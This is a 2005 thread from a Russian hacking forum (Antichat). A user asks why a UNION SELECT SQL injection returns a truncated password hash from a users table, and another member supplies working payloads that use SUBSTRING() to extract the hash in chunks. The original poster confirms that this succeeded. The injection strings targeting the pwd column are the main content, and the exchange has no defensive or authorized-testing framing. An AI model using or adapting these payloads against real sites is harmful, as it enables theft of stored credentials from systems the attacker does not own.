ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

вопрос по sql-injection
  #1  
Старый 13.11.2005, 15:00
Аватар для link.
link.
Познающий
Регистрация: 15.05.2005
Сообщений: 58
Провел на форуме:
531678

Репутация: 1
По умолчанию вопрос по sql-injection

Дело такое, нашел sql-inj ... подобрал колонки или т.д. и т.п., в итоге получился тако запрос:
Цитата:
-1'+union+select+1,2,pwd,4,5,6,7,8,9,10,11,12+from+ base.users+where+id=24+limit+0,1+/*
но при таком запросе данные выводятся не полностью, а именно хеш выводится но без последних двух символов, если пробовать изменять limit то сразу выдается ошибка что неверное кол-во колонок..нужен хепл...
 
Ответить с цитированием

  #2  
Старый 13.11.2005, 15:41
Аватар для Zadoxlik
Zadoxlik
Постоянный
Регистрация: 28.02.2005
Сообщений: 853
Провел на форуме:
3369632

Репутация: 749


По умолчанию

Гм, а зачем тут вообще нужен лимит? И зачем "+" перед "/*"

И вообще обрезаться ничего не должно. Скорее всего обрез идет внутри самого скрипта
 
Ответить с цитированием

  #3  
Старый 13.11.2005, 15:55
Аватар для Trinux
Trinux
Познавший АНТИЧАТ
Регистрация: 26.11.2004
Сообщений: 1,149
Провел на форуме:
941818

Репутация: 569


По умолчанию

Да, обрезание (слово то какое хорошее) явно делается скриптом. Попробуй воткуть pwd в другое поле. Или юзаешь SUBSTRING() (http://dev.mysql.com/doc/refman/4.0/...functions.html)
т.е.
-1'+union+select+1,2,SUBSTRING(pwd, 0, 30),4,5,6,7,8,9,10,11,12+from+ base.users+where+id=24+limit+0,1+/*
потом
-1'+union+select+1,2,SUBSTRING(pwd, 30, 2),4,5,6,7,8,9,10,11,12+from+ base.users+where+id=24+limit+0,1+/*
вот вроде так
 
Ответить с цитированием

  #4  
Старый 13.11.2005, 16:01
Аватар для link.
link.
Познающий
Регистрация: 15.05.2005
Сообщений: 58
Провел на форуме:
531678

Репутация: 1
По умолчанию

Trinux

SUBSTRING() помогло, огромный респект... =))

ну и +репутации =)
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ